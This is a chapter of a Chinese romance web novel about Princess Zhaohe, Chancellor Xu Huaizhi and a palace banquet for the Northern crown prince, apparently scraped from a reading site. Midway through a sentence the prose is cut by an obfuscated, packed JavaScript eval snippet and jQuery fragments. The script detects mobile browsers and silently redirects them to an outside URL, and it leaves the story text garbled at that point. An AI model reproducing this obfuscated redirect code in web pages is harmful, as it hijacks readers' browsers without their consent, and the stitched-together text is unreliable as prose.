27. 第27章

作品:《后来他总想当驸马

    徐淮止瞳仁轻颤,白腻的肌肤似乎刺疼了眼睛,他猛地别开头,再维持不住方才的从容冷静,“将衣裳穿好。”


    周芮怔愣一瞬,低头看了一眼自个儿的衣裳,莫名道:“这不是穿的……”


    忽然,她想到什么,捏着衣领的手下意识收紧。


    笑意涌入眼中,周芮故意道:“你不咬回来的话,我就当你原谅我了。”


    徐淮止下颌轻动,咬紧牙关的一瞬他转头看向周芮,恰好对上她眸中的期待。


    徐淮止骤然冷静下来。


    “殿下在期待什么?”


    他对她无所不用其极的手段感到有些厌烦。


    周芮以为徐淮止愿意与她好好说话了,于是诚恳又真切的道:“自然是期待你……原谅我了。”


    至少在解决和亲之事前,她不能走。


    屋内沉静如水,深邃沉寂的黑眸仿佛能透过皮囊,看穿她心底的一切秘密,“是吗?”


    他这般询问,让周芮觉着自个儿方才的回话似乎并不让他满意。


    可事实如此,他还想听什么?


    窗外春风吹拂,一片嫩芽扑进屋子,摇摇晃晃坠在徐淮止先前翻看的书册上,那篇密密麻麻的字迹飘逸流畅,嫩芽轻飘落下,最终却覆在情之一字上。


    徐淮止不欲再与她争辩,“出去。”


    他重新坐回桌前,抬手抚去册上嫩叶,冷肃的面庞在明晃晃的告诉周芮,他心中仍有怒气。


    “什么温和良善,分明气性小,脾气大,难搞又不会说话……”周芮咬牙嘟囔着。


    可谁让她眼下有求于人呢。


    比之先前,她觉着自个儿在徐淮止这里将脾性都练好了不少。


    没人比她更能忍。


    “那我可以留下了吗?”


    “殿下自便。”


    她在此费了这般唇舌,就是为了留下,虽然徐淮止这话听着并不让人舒心,可结果到底是一样的。


    周芮眉开眼笑的转身,连背影都泛着喜悦的光芒。


    徐淮止下意识抬头看了一眼,随即又不动声色的将目光落在书册上。


    她远比他所想的,还要执着。


    -


    宫宴这日,赵家早早让下人来了徐宅替周芮梳妆打扮。


    天还未亮,平素寂静的院落中便充满了欢声笑语,透过窗棂的火光映照出来回行走的身影。他们所有的忙碌都是为了坐在铜镜前,闭目养神的少女。


    赵家虽为权贵,可府中伺候的下人到底不如宫人手巧心思,便是她们再小心翼翼,可为少女佩戴头饰时,仍旧不小心扯断了一根发丝。


    顿时,满屋子的下人齐刷刷跪地,连声音中都透着一丝惊惧,“求殿下饶命。”


    坐在铜镜前的少女迟迟没有出声,片刻后才听见她均匀的呼吸。


    睡着了。


    下人们面面相觑,一时之间也不知该不该起身。


    院中梅树下,站在徐淮止身后的顺玉双手环胸,忍不住替那些下人抱不平,“殿下也太难伺候了,这才多一会儿,便将人吓得跪了满地。”


    “大人你看,都跪这么久了,也没说让人起来。”


    他伸长脖子往里瞧,那双眼睛恨不能透过缝隙,看清里边儿的情形。


    “还好我不用伺候她,否则我定会找棵树撞死算了。”


    他无意识的喃喃随风落入徐淮止耳畔,无声的烦闷莫名萦绕在心头。


    片刻后,他抬手挥去垂在肩头的红线,转身朝着门口走去,“该入宫了。”


    顺玉连忙跟上,却又下意识回头看了一眼窗棂,听见那许久不曾出声的少女道:“你们跪着做什么?”


    屋内,周芮双眼迷蒙,下意识抬手揉眼时,瞧见铜镜中已施粉黛的自己,停在半空的手缓缓垂下,问道:“几时了?”


    下人战战兢兢答:“回殿下,快辰时了。”


    她晃了晃仍旧有些晕乎乎的脑袋,挂在发间的珠翠叮当作响,“都起来吧,继续替本宫梳妆。”


    下人们对视一眼,这才缓慢起身,继续手上的活儿。


    只是他们眼底,都不约而同的露出一抹震惊。


    昭和公主有多难伺候,但凡宫中有相熟的宫女都听过一二,是以眼下与他们所想不同,让他们好半晌才回过神来。


    从宅院出发时,周芮看着赵家准备的马车,左右瞧了一眼,并未看见徐淮止的身影,这才明白,他没有等她,早早的便走了。


    这是半点关系都不想与她沾上,是以赵家来人时,他才问都不问,便答应了下来。


    昨夜,周芮想了大半个晚上也没记起那虎头娃娃当初被宫人放到哪儿去了。


    但有关她的东西,阿樾都会让人好好存在一处,故而想要寻到此物,只有想法子让人去瞧一瞧了。


    而今日宫中宴请北朝太子,这般有序又紊乱的场合,便是最好的时机。


    -


    碧空如洗,不见纤凝。


    红墙绿瓦内,四处游走着忙碌的宫人,从宫门到保和殿的路上,无论是朝臣还是侍卫都会频频看向被下人簇拥着的少女。


    落后几步的朝臣窃窃私语,那声音太小,被风掩埋,周芮几乎听不见他们在说什么,但只要一想,也知晓不是什么好听话。


    随行在侧的青雉小声道:“殿下让我询问的事情有眉目了。”


    周芮脚步一顿,随即又不动声色的继续往前走,压着声音道:“外祖父怎么说的?”


    “家主说,你那时与圣上微服私访时意外被人掳走,圣上大怒,砍了很多人的头,还下令此事不许声张,是以,您在被人掳走期间到底发生了什么,家主也不知晓。”


    “……”


    周芮对上青雉的目光,半晌无言。


    这些事,她也知晓,她唯独忘记的便是发生意外后,她到底经历了什么,那段记忆于她而言十分模糊,若徐淮止当真与她相识,也只会在那段模糊的记忆中出现,否则她绝不会对徐淮止没有半分印象。


    周芮颓然垂下肩头,整个人失去了鲜活般,“这下该怎么办啊……”


    若徐淮止是他父皇一怒之下斩杀的其中之一,那他们之间岂不是血海深仇,她若此时自报家门,不是活腻了嘛。


    可万一他们之间不是仇,而是情是恩,她便有拿捏徐淮止的东西了。


    不知不觉中,他们已经行至保和殿外,再往前走,便能瞧见她的好皇兄为她安排的未来夫君,北朝太子了。


    而她,此刻却毫无破解之法。


    在众人目光聚集而来时,那道如鹰般锐利的目光让周芮浑身不适。


    “昭和,你来晚了。”


    随着周凌话音落下,那道目光愈发肆意起来,黏腻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128976|147122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阴湿的在她身上游走。


    除最上方的龙椅外,最前头的周凌与周启相对而坐,在位置身份上,二人旗鼓相当,谁也不让一分,而北朝太子则坐在周凌身侧,与他对面的徐淮止一狂放一内敛,截然不同。


    而她的位置……


    周芮低头,看见大殿中仅剩的坐位,就在她身侧,靠近门边,六品之下。


    呵。


    周芮掩去眸中怒火,不疾不徐的继续朝着前方走去,在行至般和身侧时,他赫然一笑,右手搭在左肩上,朝她行了一个北朝迎礼。


    “原来这位,便是昭和公主。”


    就身份而言,他这礼实在折煞。可周芮只要一想到这二人打的什么主意,顿时半点好脸色都不曾留下,裙角轻旋,利落的转身朝着徐淮止跟前走去。


    周凌呵斥,“昭和!乱走什么!”


    周芮头也不回,并未理会。


    大殿中只有些许咬耳朵的谈论声,在周芮走向徐淮止之时,连那丁点声音都不见了,那些人或诧异或不解,在诸多繁杂的目光中,徐淮止只是波澜不惊的看着周芮,好似无论她要做什么,他都不畏不惧,没将她放在眼中。


    周芮停在徐淮止跟前,在他愈发冷沉的目光中,与他对视良久,这才嘴角微扬,转头看向了周启,“大皇兄,阿芮能坐在这边吗?”


    独自酌饮的周启抬头看了她一眼,分明都是父皇的孩子,可周启因着常年在军营,肌肉饱满,身材高大,又长着一副凶神恶煞的模样,那双眼睛更是看谁都像在看死人。若不是别无他法,周芮压根不想靠近他。


    “皇妹不去自己该去的地方,在本王这儿来凑什么热闹?”


    “因为……大皇兄这边宽敞些,近日我受了风寒,大夫让我莫与旁人靠的太近。”


    在这等场合上,宫人布位,绝不会出现宽窄不同的岔子,是以她的言下之意,便是周启比周凌,身份更高。


    徐淮止将目光从周芮身上落下,面不改色的抿了一口茶。


    撒谎这项本事,倒是练就的炉火纯青。


    周启扬唇道:“那皇妹随意寻个地方坐着吧。”


    周芮佯装没有发觉身后凌厉的目光,转头看向徐淮止,眼巴巴的道:“徐相,我能与你同坐吗?”


    徐淮止捏着杯盏的掌心一紧,周遭看过来的目光也毫不掩饰。


    宁王让她参加宫宴,却不曾给她留下坐位,她是大周公主,可以坐在二王之下,却不能坐在所有朝臣之下。


    眼下还余剩的位置只有靠近门边的末尾处,那是六品官员坐的地方,她若过去,便是羞辱。


    皇兄身侧坐不得,那般和太子更不行。


    是以她要想保住脸面,唯有一个选择。


    杯盏磕碰在桌上,徐淮止抬头看向周芮,那拒绝的话到了嘴角又被她眼中无声的祈求按了回去。


    “昭和,莫要胡闹!”周凌蹙眉起身,语气中是浓浓的警告。


    比起周启,他更忌惮徐淮止,他怕周芮将人得罪了,徐淮止届时再迁怒于他。


    可他更怕,徐淮止同意。


    毕竟以周芮的容色,看遍整个大周,也无人能出其右,若是借此机会让周芮攀附上徐淮止,于他而言便是心头大患。


    殿内寂静无声,众人都在等着徐淮止的回应。


    更或者,都在等着看周芮的笑话。